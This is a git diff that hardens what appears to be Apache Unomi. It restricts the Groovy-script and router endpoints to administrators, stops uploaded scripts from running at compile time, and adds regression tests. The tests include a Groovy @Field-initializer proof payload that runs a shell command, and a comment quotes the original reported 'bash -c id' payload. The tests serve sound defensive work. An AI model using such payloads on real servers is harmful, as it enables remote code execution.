org.osgi
@@ -106,6 +111,11 @@
slf4j-api
provided
+
+ org.junit.jupiter
+ junit-jupiter
+ test
+
diff --git a/extensions/groovy-actions/rest/src/main/java/org/apache/unomi/groovy/actions/rest/GroovyActionsEndPoint.java b/extensions/groovy-actions/rest/src/main/java/org/apache/unomi/groovy/actions/rest/GroovyActionsEndPoint.java
index 1f41cf6f3e..635dfe3d45 100644
--- a/extensions/groovy-actions/rest/src/main/java/org/apache/unomi/groovy/actions/rest/GroovyActionsEndPoint.java
+++ b/extensions/groovy-actions/rest/src/main/java/org/apache/unomi/groovy/actions/rest/GroovyActionsEndPoint.java
@@ -21,7 +21,9 @@
import org.apache.cxf.jaxrs.ext.multipart.Attachment;
import org.apache.cxf.jaxrs.ext.multipart.Multipart;
import org.apache.cxf.rs.security.cors.CrossOriginResourceSharing;
+import org.apache.unomi.api.security.UnomiRoles;
import org.apache.unomi.groovy.actions.services.GroovyActionsService;
+import org.apache.unomi.rest.security.RequiresRole;
import org.osgi.service.component.annotations.Component;
import org.osgi.service.component.annotations.Reference;
import org.slf4j.Logger;
@@ -35,6 +37,7 @@
@Produces(MediaType.APPLICATION_JSON + ";charset=UTF-8")
@CrossOriginResourceSharing(allowAllOrigins = true, allowCredentials = true)
@Path("/groovyActions")
+@RequiresRole(UnomiRoles.ADMINISTRATOR)
@Component(service = GroovyActionsEndPoint.class, property = "osgi.jaxrs.resource=true")
public class GroovyActionsEndPoint {
@@ -55,6 +58,7 @@ public void setGroovyActionsService(GroovyActionsService groovyActionsService) {
* Uploads a Groovy action script and registers a matching action type.
*
* The multipart field {@code file} must be a {@code .groovy} file; the action id is derived from the filename.
+ * Restricted to system administrators (JAAS); tenant administrators cannot upload scripts.
*
* @param file the Groovy script upload
* @return an empty success response
@@ -79,6 +83,7 @@ public Response save(@Multipart(value = "file") Attachment file) {
/**
* Deletes the Groovy action and its action type entry.
+ * Restricted to system administrators (JAAS).
*
* @param actionId the action identifier
* @api.status 204 empty Action deleted.
diff --git a/extensions/groovy-actions/rest/src/test/java/org/apache/unomi/groovy/actions/rest/GroovyActionsEndPointRoleTest.java b/extensions/groovy-actions/rest/src/test/java/org/apache/unomi/groovy/actions/rest/GroovyActionsEndPointRoleTest.java
new file mode 100644
index 0000000000..92ffea28d4
--- /dev/null
+++ b/extensions/groovy-actions/rest/src/test/java/org/apache/unomi/groovy/actions/rest/GroovyActionsEndPointRoleTest.java
@@ -0,0 +1,37 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.unomi.groovy.actions.rest;
+
+import org.apache.unomi.api.security.UnomiRoles;
+import org.apache.unomi.rest.security.RequiresRole;
+import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.assertArrayEquals;
+import static org.junit.jupiter.api.Assertions.assertNotNull;
+
+/**
+ * Regression: Groovy upload/delete must stay restricted to system administrators.
+ */
+class GroovyActionsEndPointRoleTest {
+
+ @Test
+ void endpointRequiresSystemAdministratorRole() {
+ RequiresRole requiresRole = GroovyActionsEndPoint.class.getAnnotation(RequiresRole.class);
+ assertNotNull(requiresRole, "GroovyActionsEndPoint must declare @RequiresRole");
+ assertArrayEquals(new String[]{UnomiRoles.ADMINISTRATOR}, requiresRole.value());
+ }
+}
diff --git a/extensions/groovy-actions/services/src/main/java/org/apache/unomi/groovy/actions/services/impl/GroovyActionsServiceImpl.java b/extensions/groovy-actions/services/src/main/java/org/apache/unomi/groovy/actions/services/impl/GroovyActionsServiceImpl.java
index 40c02a7aeb..09307e0380 100644
--- a/extensions/groovy-actions/services/src/main/java/org/apache/unomi/groovy/actions/services/impl/GroovyActionsServiceImpl.java
+++ b/extensions/groovy-actions/services/src/main/java/org/apache/unomi/groovy/actions/services/impl/GroovyActionsServiceImpl.java
@@ -301,7 +301,7 @@ private GroovyAction processGroovyScript(BundleContext bundleContext, URL url, I
// Extract Action annotation and register the ActionType
try {
synchronized(compilationLock) {
- Action actionAnnotation = compilationShell.parse(groovyCodeSource).getClass().getMethod("execute").getAnnotation(Action.class);
+ Action actionAnnotation = compileToClass(groovyCodeSource).getMethod("execute").getAnnotation(Action.class);
if (actionAnnotation != null) {
contextManager.executeAsSystem(() -> {
saveActionType(actionAnnotation);
@@ -407,7 +407,7 @@ private void processGroovyActionForCache(GroovyAction groovyAction) {
try {
GroovyCodeSource groovyCodeSource = new GroovyCodeSource(script, actionName, "/groovy/script");
synchronized(compilationLock) {
- compilationShell.parse(groovyCodeSource).getClass().getMethod("execute");
+ compileToClass(groovyCodeSource).getMethod("execute");
}
// Note: We don't extract or save the ActionType here
} catch (NoSuchMethodException e) {
@@ -471,16 +471,33 @@ private void validateNotEmpty(String value, String parameterName) {
}
}
+
/**
* Thread-safe script compilation using synchronized shared shell.
*/
private Class extends Script> compileScript(String actionName, String scriptContent) {
GroovyCodeSource codeSource = new GroovyCodeSource(scriptContent, actionName, "/groovy/script");
synchronized(compilationLock) {
- return compilationShell.parse(codeSource).getClass();
+ return compileToClass(codeSource);
}
}
+
+ /**
+ * Compiles a script to its Class without instantiating it.
+ *
+ * Deliberately {@code parseClass} and not {@code GroovyShell#parse}: {@code parse} returns a
+ * {@code Script} instance, and constructing that instance runs the script's field
+ * initializers. An uploaded script carrying a Groovy {@code @Field} initializer would therefore
+ * execute at upload/compile time, before any rule ever dispatches it. Every caller here only
+ * needs the compiled Class (to read the {@code @Action} annotation or check for {@code execute}),
+ * so nothing needs to be instantiated until the action is actually run.
+ */
+ @SuppressWarnings("unchecked")
+ private Class extends Script> compileToClass(GroovyCodeSource codeSource) {
+ return (Class extends Script>) compilationShell.getClassLoader().parseClass(codeSource, false);
+ }
+
/**
* Compiles a script and creates metadata with timing information.
*/
diff --git a/extensions/groovy-actions/services/src/test/java/org/apache/unomi/groovy/actions/services/impl/GroovyActionsServiceImplTest.java b/extensions/groovy-actions/services/src/test/java/org/apache/unomi/groovy/actions/services/impl/GroovyActionsServiceImplTest.java
index 94536a296f..1336926ced 100644
--- a/extensions/groovy-actions/services/src/test/java/org/apache/unomi/groovy/actions/services/impl/GroovyActionsServiceImplTest.java
+++ b/extensions/groovy-actions/services/src/test/java/org/apache/unomi/groovy/actions/services/impl/GroovyActionsServiceImplTest.java
@@ -16,6 +16,7 @@
*/
package org.apache.unomi.groovy.actions.services.impl;
+import groovy.lang.GroovyShell;
import groovy.lang.Script;
import org.apache.unomi.api.Event;
import org.apache.unomi.api.ExecutionContext;
@@ -46,11 +47,15 @@
import org.osgi.framework.wiring.BundleWiring;
import java.net.URL;
+import java.io.File;
import java.nio.charset.StandardCharsets;
+import java.nio.file.Files;
+import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.*;
import static org.junit.Assert.*;
+import static org.junit.Assume.assumeTrue;
import static org.mockito.Mockito.mock;
import static org.mockito.Mockito.when;
@@ -172,6 +177,85 @@ public void testSaveGroovyAction() throws Exception {
});
}
+ /**
+ * Saving an action compiles it; it must not instantiate it. A Groovy {@code @Field} initializer
+ * runs at instantiation, so if save() ever goes back to {@code GroovyShell#parse} an uploaded
+ * script executes at upload time, before any rule dispatches it — the reported RCE vector.
+ */
+ @Test
+ public void testSaveDoesNotRunFieldInitializers() throws Exception {
+ System.clearProperty("unomi.test.groovyFieldInitializerRan");
+ String groovyScript = loadGroovyScript(
+ "/META-INF/cxs/actions/fieldInitializerAction.groovy",
+ "Could not find the field-initializer test Groovy action file");
+ try {
+ contextManager.executeAsTenant(TENANT_1, () -> {
+ groovyActionsService.save("fieldInitializerAction", groovyScript);
+ });
+ assertNull("Saving a Groovy action must compile it without instantiating it, so a @Field "
+ + "initializer must not execute at upload time",
+ System.getProperty("unomi.test.groovyFieldInitializerRan"));
+ } finally {
+ System.clearProperty("unomi.test.groovyFieldInitializerRan");
+ }
+ }
+
+ /**
+ * Regression test for the reported upload-time RCE: uploading a Groovy action whose {@code @Field}
+ * initializer runs an OS command used to execute that command at save time, as the server user,
+ * before any rule dispatched the action.
+ *
+ * The positive control matters as much as the assertion. It runs the same payload through a plain
+ * {@link GroovyShell} first and requires the proof file to appear, which establishes that command
+ * execution really does work on this machine. Without it, a payload that silently failed to run —
+ * wrong shell, restricted environment — would make the real assertion pass while proving nothing.
+ *
+ * Scope: this covers execution at upload time, which is the reported vector. It does not
+ * claim the action is sandboxed when it is later dispatched — a Groovy action is arbitrary code by
+ * design, and uploading one now requires the system ADMINISTRATOR role.
+ */
+ @Test
+ public void testSaveDoesNotExecuteUploadedCommands() throws Exception {
+ assumeTrue("requires a POSIX shell to run the payload", new File("/bin/sh").canExecute());
+ String groovyScript = loadGroovyScript(
+ "/META-INF/cxs/actions/rceProofAction.groovy",
+ "Could not find the RCE proof test Groovy action file");
+
+ Path tempDir = Files.createTempDirectory("unomi-rce-proof");
+ Path proof = tempDir.resolve("rce-proof");
+ System.setProperty("unomi.test.rceProofPath", proof.toString());
+ try {
+ // Positive control: instantiating the script DOES run the payload, so the payload is live.
+ new GroovyShell().parse(stripActionAnnotation(groovyScript));
+ assertTrue("positive control failed: the payload did not execute even via GroovyShell#parse, "
+ + "so the real assertion below would prove nothing on this machine",
+ Files.exists(proof));
+ Files.delete(proof);
+
+ // The actual assertion: saving the very same script must not run it.
+ contextManager.executeAsTenant(TENANT_1, () -> {
+ groovyActionsService.save("rceProofAction", groovyScript);
+ });
+
+ assertFalse("Uploading a Groovy action must not execute it: the payload wrote " + proof
+ + " at save time, which is remote code execution at upload",
+ Files.exists(proof));
+ } finally {
+ System.clearProperty("unomi.test.rceProofPath");
+ Files.deleteIfExists(proof);
+ Files.deleteIfExists(tempDir);
+ }
+ }
+
+ /**
+ * Drops the {@code @Action} line so the positive control compiles under a bare {@link GroovyShell},
+ * which has neither the service's ImportCustomizer nor its script base class. The {@code @Field}
+ * payload — the only part under test — is untouched.
+ */
+ private static String stripActionAnnotation(String script) {
+ return script.replaceAll("(?m)^@Action\\(.*\\)$", "");
+ }
+
@Test
public void testRemoveGroovyAction() throws Exception {
// First save an action
diff --git a/extensions/groovy-actions/services/src/test/resources/META-INF/cxs/actions/fieldInitializerAction.groovy b/extensions/groovy-actions/services/src/test/resources/META-INF/cxs/actions/fieldInitializerAction.groovy
new file mode 100644
index 0000000000..92f96783eb
--- /dev/null
+++ b/extensions/groovy-actions/services/src/test/resources/META-INF/cxs/actions/fieldInitializerAction.groovy
@@ -0,0 +1,27 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+import groovy.transform.Field
+
+// Stand-in for the reported upload-time RCE payload: a @Field initializer runs when the script class
+// is *instantiated*. Saving this action must compile it without instantiating it, so this must NOT
+// run. It writes a system property rather than executing a command so the test stays harmless.
+@Field def sideEffect = { System.setProperty("unomi.test.groovyFieldInitializerRan", "true") }()
+
+@Action(id = "fieldInitializerAction", actionExecutor = "groovy:fieldInitializerAction")
+def execute() {
+ return EventService.NO_CHANGE
+}
diff --git a/extensions/groovy-actions/services/src/test/resources/META-INF/cxs/actions/rceProofAction.groovy b/extensions/groovy-actions/services/src/test/resources/META-INF/cxs/actions/rceProofAction.groovy
new file mode 100644
index 0000000000..4bc5a7fdf5
--- /dev/null
+++ b/extensions/groovy-actions/services/src/test/resources/META-INF/cxs/actions/rceProofAction.groovy
@@ -0,0 +1,37 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+import groovy.transform.Field
+
+// Faithful stand-in for the reported upload-time RCE payload, which was:
+// @Field def proof = { new File("/tmp/rce_proof_id").text = ["bash","-c","id"].execute().text }()
+// A Groovy @Field initializer runs when the script class is INSTANTIATED, so uploading this used to
+// execute a command at save time, before any rule dispatched the action. Saving it must compile the
+// script without instantiating it, so this must never run.
+//
+// The command is a harmless `echo` and the target path is injected by the test rather than
+// hard-coded, so the payload cannot write outside the test's own temp directory.
+@Field def proof = {
+ String target = System.getProperty("unomi.test.rceProofPath")
+ if (target != null) {
+ new File(target).text = ["sh", "-c", "echo pwned-at-upload-time"].execute().text
+ }
+}()
+
+@Action(id = "rceProofAction", actionExecutor = "groovy:rceProofAction")
+def execute() {
+ return EventService.NO_CHANGE
+}
diff --git a/extensions/router/router-karaf-feature/src/main/feature/feature.xml b/extensions/router/router-karaf-feature/src/main/feature/feature.xml
index 647b809147..800508f90c 100644
--- a/extensions/router/router-karaf-feature/src/main/feature/feature.xml
+++ b/extensions/router/router-karaf-feature/src/main/feature/feature.xml
@@ -20,6 +20,8 @@
Apache Karaf feature for the Apache Unomi Context Server extension
wrap
unomi-services
+
+ unomi-rest-api
mvn:org.apache.servicemix.bundles/org.apache.servicemix.bundles.jsch/0.1.55_1
mvn:commons-net/commons-net/${commons-net.version}
wrap:mvn:org.apache.kafka/kafka-clients/${kafka.client.version}
diff --git a/extensions/router/router-rest/pom.xml b/extensions/router/router-rest/pom.xml
index b7b9233dbc..5d7f84404b 100644
--- a/extensions/router/router-rest/pom.xml
+++ b/extensions/router/router-rest/pom.xml
@@ -55,6 +55,11 @@
unomi-router-api
provided
+
+ org.apache.unomi
+ unomi-rest
+ provided
+
org.osgi
@@ -103,6 +108,11 @@
slf4j-api
provided
+
+ org.junit.jupiter
+ junit-jupiter
+ test
+
diff --git a/extensions/router/router-rest/src/main/java/org/apache/unomi/router/rest/ExportConfigurationServiceEndPoint.java b/extensions/router/router-rest/src/main/java/org/apache/unomi/router/rest/ExportConfigurationServiceEndPoint.java
index 4371e2d13f..a773251608 100644
--- a/extensions/router/router-rest/src/main/java/org/apache/unomi/router/rest/ExportConfigurationServiceEndPoint.java
+++ b/extensions/router/router-rest/src/main/java/org/apache/unomi/router/rest/ExportConfigurationServiceEndPoint.java
@@ -17,7 +17,9 @@
package org.apache.unomi.router.rest;
import org.apache.cxf.rs.security.cors.CrossOriginResourceSharing;
+import org.apache.unomi.api.security.UnomiRoles;
import org.apache.unomi.api.services.ProfileService;
+import org.apache.unomi.rest.security.RequiresRole;
import org.apache.unomi.router.api.ExportConfiguration;
import org.apache.unomi.router.api.services.ImportExportConfigurationService;
import org.apache.unomi.router.api.services.ProfileExportService;
@@ -47,6 +49,7 @@
allowCredentials = true
)
@Path("/exportConfiguration")
+@RequiresRole(UnomiRoles.ADMINISTRATOR)
@Component(service=ExportConfigurationServiceEndPoint.class,property = "osgi.jaxrs.resource=true")
public class ExportConfigurationServiceEndPoint extends AbstractConfigurationServiceEndpoint {
diff --git a/extensions/router/router-rest/src/main/java/org/apache/unomi/router/rest/ImportConfigurationServiceEndPoint.java b/extensions/router/router-rest/src/main/java/org/apache/unomi/router/rest/ImportConfigurationServiceEndPoint.java
index e8d639df12..cbc7dcec38 100644
--- a/extensions/router/router-rest/src/main/java/org/apache/unomi/router/rest/ImportConfigurationServiceEndPoint.java
+++ b/extensions/router/router-rest/src/main/java/org/apache/unomi/router/rest/ImportConfigurationServiceEndPoint.java
@@ -19,7 +19,9 @@
import org.apache.cxf.jaxrs.ext.multipart.Attachment;
import org.apache.cxf.jaxrs.ext.multipart.Multipart;
import org.apache.cxf.rs.security.cors.CrossOriginResourceSharing;
+import org.apache.unomi.api.security.UnomiRoles;
import org.apache.unomi.api.services.ConfigSharingService;
+import org.apache.unomi.rest.security.RequiresRole;
import org.apache.unomi.router.api.ImportConfiguration;
import org.apache.unomi.router.api.RouterConstants;
import org.apache.unomi.router.api.services.ImportExportConfigurationService;
@@ -54,6 +56,7 @@
allowCredentials = true
)
@Path("/importConfiguration")
+@RequiresRole(UnomiRoles.ADMINISTRATOR)
@Component(service=ImportConfigurationServiceEndPoint.class,property = "osgi.jaxrs.resource=true")
public class ImportConfigurationServiceEndPoint extends AbstractConfigurationServiceEndpoint {
diff --git a/extensions/router/router-rest/src/test/java/org/apache/unomi/router/rest/RouterConfigurationEndPointRoleTest.java b/extensions/router/router-rest/src/test/java/org/apache/unomi/router/rest/RouterConfigurationEndPointRoleTest.java
new file mode 100644
index 0000000000..ab9cfb8b35
--- /dev/null
+++ b/extensions/router/router-rest/src/test/java/org/apache/unomi/router/rest/RouterConfigurationEndPointRoleTest.java
@@ -0,0 +1,44 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.unomi.router.rest;
+
+import org.apache.unomi.api.security.UnomiRoles;
+import org.apache.unomi.rest.security.RequiresRole;
+import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.assertArrayEquals;
+import static org.junit.jupiter.api.Assertions.assertNotNull;
+
+/**
+ * Regression: router import/export configuration must stay restricted to system administrators.
+ */
+class RouterConfigurationEndPointRoleTest {
+
+ @Test
+ void importEndpointRequiresSystemAdministratorRole() {
+ RequiresRole requiresRole = ImportConfigurationServiceEndPoint.class.getAnnotation(RequiresRole.class);
+ assertNotNull(requiresRole, "ImportConfigurationServiceEndPoint must declare @RequiresRole");
+ assertArrayEquals(new String[]{UnomiRoles.ADMINISTRATOR}, requiresRole.value());
+ }
+
+ @Test
+ void exportEndpointRequiresSystemAdministratorRole() {
+ RequiresRole requiresRole = ExportConfigurationServiceEndPoint.class.getAnnotation(RequiresRole.class);
+ assertNotNull(requiresRole, "ExportConfigurationServiceEndPoint must declare @RequiresRole");
+ assertArrayEquals(new String[]{UnomiRoles.ADMINISTRATOR}, requiresRole.value());
+ }
+}
diff --git a/itests/src/test/java/org/apache/unomi/itests/AllITs.java b/itests/src/test/java/org/apache/unomi/itests/AllITs.java
index 41351e5b02..a17afe29a1 100644
--- a/itests/src/test/java/org/apache/unomi/itests/AllITs.java
+++ b/itests/src/test/java/org/apache/unomi/itests/AllITs.java
@@ -56,11 +56,14 @@
ModifyConsentIT.class,
PatchIT.class,
ContextServletIT.class,
+ ContextEndpointBaselineIT.class,
SecurityIT.class,
RuleServiceIT.class,
PrivacyServiceIT.class,
GroovyActionsServiceIT.class,
+ RestEndpointRoleSecurityIT.class,
GraphQLEventIT.class,
+ GraphQLServletSecurityIT.class,
GraphQLListIT.class,
GraphQLProfileIT.class,
GraphQLProfilePropertiesIT.class,
diff --git a/itests/src/test/java/org/apache/unomi/itests/BaseIT.java b/itests/src/test/java/org/apache/unomi/itests/BaseIT.java
index 5ec6385bad..1940d3c79f 100644
--- a/itests/src/test/java/org/apache/unomi/itests/BaseIT.java
+++ b/itests/src/test/java/org/apache/unomi/itests/BaseIT.java
@@ -132,7 +132,10 @@ public abstract class BaseIT extends KarafTestSupport {
protected static final ContentType JSON_CONTENT_TYPE = ContentType.create("application/json");
protected static final String BASE_URL = "http://localhost";
protected static final String BASIC_AUTH_USER_NAME = "karaf";
+ /** Explicit IT password — package no longer ships a known default ({@code UNOMI_ROOT_PASSWORD}). */
protected static final String BASIC_AUTH_PASSWORD = "karaf";
+ protected static final String HEALTHCHECK_AUTH_USER_NAME = "health";
+ protected static final String HEALTHCHECK_AUTH_PASSWORD = "health";
protected static final int REQUEST_TIMEOUT = 60000;
protected static final int DEFAULT_TRYING_TIMEOUT = 1000;
protected static final int DEFAULT_TRYING_TRIES = 10;
@@ -671,6 +674,9 @@ public Option[] config() {
editConfigurationFilePut("etc/system.properties", SEARCH_ENGINE_PROPERTY, searchEngine),
editConfigurationFilePut("etc/system.properties", PERSISTENCE_PROVIDER_PROPERTY, searchEngine),
editConfigurationFilePut("etc/custom.system.properties", "org.apache.unomi.migration.tenant.id", TEST_TENANT_ID),
+ // Explicit test credentials (package no longer ships a known default password).
+ editConfigurationFilePut("etc/custom.system.properties", "org.apache.unomi.security.root.password", BASIC_AUTH_PASSWORD),
+ editConfigurationFilePut("etc/custom.system.properties", "org.apache.unomi.healthcheck.password", HEALTHCHECK_AUTH_PASSWORD),
// Default scheduler.thread.poolSize (5) is sized for the near-instant in-memory unit-test
// double, not a real ES/OS backend. Under real refresh/write latency, the checker, task
// executions, and lease-renewal heartbeats (see scheduler.adoc) compete for the same small
diff --git a/itests/src/test/java/org/apache/unomi/itests/BasicIT.java b/itests/src/test/java/org/apache/unomi/itests/BasicIT.java
index bd650359bd..ff4e12f064 100644
--- a/itests/src/test/java/org/apache/unomi/itests/BasicIT.java
+++ b/itests/src/test/java/org/apache/unomi/itests/BasicIT.java
@@ -38,6 +38,8 @@
import org.junit.Test;
import org.junit.runner.RunWith;
import org.ops4j.pax.exam.junit.PaxExam;
+
+import java.util.Base64;
import org.ops4j.pax.exam.spi.reactors.ExamReactorStrategy;
import org.ops4j.pax.exam.spi.reactors.PerSuite;
import org.slf4j.Logger;
@@ -248,15 +250,36 @@ public void testMultipleLoginOnSameBrowser() throws Exception {
loginEventPropertiesVisitor2.put(LAST_NAME, LAST_NAME_VISITOR_2);
loginEventPropertiesVisitor2.put(EMAIL, EMAIL_VISITOR_2);
- // Create login event with VISITOR_2
ContextRequest contextRequestLoginVisitor2 = getContextRequestWithLoginEvent(sourceSite, loginEventPropertiesVisitor2,
EMAIL_VISITOR_2, SESSION_ID_4);
+
+ // Public API key must not switch identity / merge into another profile on a shared cookie.
+ HttpPost publicSwitchAttempt = new HttpPost(getFullUrl("/cxs/context.json"));
+ publicSwitchAttempt.addHeader("Cookie", requestResponsePageView1.getCookieHeaderValue());
+ publicSwitchAttempt.addHeader("X-Unomi-Api-Key", testPublicKeyValue);
+ publicSwitchAttempt.setEntity(new StringEntity(getObjectMapper().writeValueAsString(contextRequestLoginVisitor2),
+ ContentType.create("application/json")));
+ TestUtils.RequestResponse publicSwitchResponse = executeContextJSONRequest(publicSwitchAttempt, SESSION_ID_4);
+ Assert.assertEquals("Public login must not switch away from the cookie profile",
+ profileIdVisitor1, publicSwitchResponse.getContextResponse().getProfileId());
+
+ // Public login still runs copyProperties on the cookie profile; restore visitor1 before the trusted switch.
+ Profile restoredVisitor1 = profileService.load(profileIdVisitor1);
+ restoredVisitor1.setProperty(FIRST_NAME, FIRST_NAME_VISITOR_1);
+ restoredVisitor1.setProperty(LAST_NAME, LAST_NAME_VISITOR_1);
+ restoredVisitor1.setProperty(EMAIL, EMAIL_VISITOR_1);
+ profileService.save(restoredVisitor1);
+ keepTrying("Visitor1 properties not restored", () -> profileService.load(profileIdVisitor1),
+ p -> FIRST_NAME_VISITOR_1.equals(p.getProperty(FIRST_NAME)), DEFAULT_TRYING_TIMEOUT, DEFAULT_TRYING_TRIES);
+
+ // Trusted private key may switch the browsing profile to VISITOR_2.
HttpPost requestLoginVisitor2 = new HttpPost(getFullUrl("/cxs/context.json"));
requestLoginVisitor2.addHeader("Cookie", requestResponsePageView1.getCookieHeaderValue());
- requestLoginVisitor2.addHeader("X-Unomi-Api-Key", testPublicKeyValue);
+ requestLoginVisitor2.setHeader("Authorization", "Basic " + Base64.getEncoder().encodeToString(
+ (TEST_TENANT_ID + ":" + testPrivateKeyValue).getBytes()));
requestLoginVisitor2.setEntity(new StringEntity(getObjectMapper().writeValueAsString(contextRequestLoginVisitor2),
ContentType.create("application/json")));
- TestUtils.RequestResponse requestResponseLoginVisitor2 = executeContextJSONRequest(requestLoginVisitor2, SESSION_ID_4);
+ TestUtils.RequestResponse requestResponseLoginVisitor2 = executeContextJSONRequest(requestLoginVisitor2, SESSION_ID_4, -1, false);
// We should have a new profile id so the session should have been moved from VISITOR_1 to VISITOR_2
String profileIdVisitor2 = requestResponseLoginVisitor2.getContextResponse().getProfileId();
Assert.assertNotEquals("Context profile id should not be the same", profileIdVisitor1,
diff --git a/itests/src/test/java/org/apache/unomi/itests/ContextEndpointBaselineIT.java b/itests/src/test/java/org/apache/unomi/itests/ContextEndpointBaselineIT.java
new file mode 100644
index 0000000000..52da5035fc
--- /dev/null
+++ b/itests/src/test/java/org/apache/unomi/itests/ContextEndpointBaselineIT.java
@@ -0,0 +1,289 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.unomi.itests;
+
+import org.apache.http.client.methods.CloseableHttpResponse;
+import org.apache.http.client.methods.HttpGet;
+import org.apache.http.client.methods.HttpPost;
+import org.apache.http.entity.ContentType;
+import org.apache.http.entity.StringEntity;
+import org.apache.http.util.EntityUtils;
+import org.apache.unomi.api.ContextRequest;
+import org.apache.unomi.api.Event;
+import org.apache.unomi.api.EventsCollectorRequest;
+import org.apache.unomi.api.CustomItem;
+import org.apache.unomi.api.Profile;
+import org.apache.unomi.itests.tools.httpclient.HttpClientThatWaitsForUnomi;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.ops4j.pax.exam.junit.PaxExam;
+import org.ops4j.pax.exam.spi.reactors.ExamReactorStrategy;
+import org.ops4j.pax.exam.spi.reactors.PerSuite;
+
+import java.net.URLEncoder;
+import java.nio.charset.StandardCharsets;
+import java.util.Collections;
+import java.util.Objects;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+/**
+ * Before/after behavioural baseline for the two public client endpoints, {@code /cxs/context.json}
+ * (plus its {@code /cxs/context.js} sibling) and {@code /cxs/eventcollector}.
+ *
+ * This class is deliberately written to compile and run against both the pre-hardening
+ * baseline and the hardened branch, so the same suite can be executed on each and the results
+ * diffed. It is split into two groups with opposite expectations:
+ *
+ * - compat_* — legacy client behaviour that MUST be identical before and after. A
+ * failure here on the hardened branch is a compatibility regression, full stop.
+ * - hardened_* — behaviour the hardening intentionally changes. These are expected to
+ * FAIL on the pre-hardening baseline and PASS after; that contrast is the evidence the
+ * security fix actually does something.
+ *
+ * The compat group covers the client entry points that had no coverage at all: the {@code GET}
+ * forms carrying a {@code ?payload=} query parameter, which is how a script tag or image beacon
+ * tracks, and which route through exactly the same binding code as the POST forms.
+ */
+@RunWith(PaxExam.class)
+@ExamReactorStrategy(PerSuite.class)
+public class ContextEndpointBaselineIT extends BaseIT {
+
+ private static final String UNOMI_API_KEY_HTTP_HEADER_KEY = "X-Unomi-Api-Key";
+ private static final String CONTEXT_JSON_URL = "/cxs/context.json";
+ private static final String CONTEXT_JS_URL = "/cxs/context.js";
+ private static final String EVENT_COLLECTOR_URL = "/cxs/eventcollector";
+ private static final String TEST_SCOPE = "baseline-scope";
+
+ // ------------------------------------------------------------------ compatibility group
+
+ /** A brand new visitor with no cookie and no session must still be issued a profile. */
+ @Test
+ public void compat_firstVisitIssuesAProfileAndCookie() throws Exception {
+ String sessionId = "baseline-first-" + System.currentTimeMillis();
+ TestUtils.RequestResponse response = postContextJson(newContextRequest(sessionId), null, sessionId);
+
+ assertEquals(200, response.getStatusCode());
+ assertNotNull("a first visit must be issued a profile id", response.getContextResponse().getProfileId());
+ assertNotNull("a first visit must be issued the profile cookie", response.getCookieHeaderValue());
+ }
+
+ /** A returning visitor presenting the cookie must be recognised as the same profile. */
+ @Test
+ public void compat_returningVisitorKeepsItsProfile() throws Exception {
+ String sessionId = "baseline-returning-" + System.currentTimeMillis();
+ TestUtils.RequestResponse first = postContextJson(newContextRequest(sessionId), null, sessionId);
+ String profileId = first.getContextResponse().getProfileId();
+
+ TestUtils.RequestResponse second = postContextJson(newContextRequest(sessionId), first.getCookieHeaderValue(), sessionId);
+
+ assertEquals(200, second.getStatusCode());
+ assertEquals("a returning visitor must keep its profile", profileId, second.getContextResponse().getProfileId());
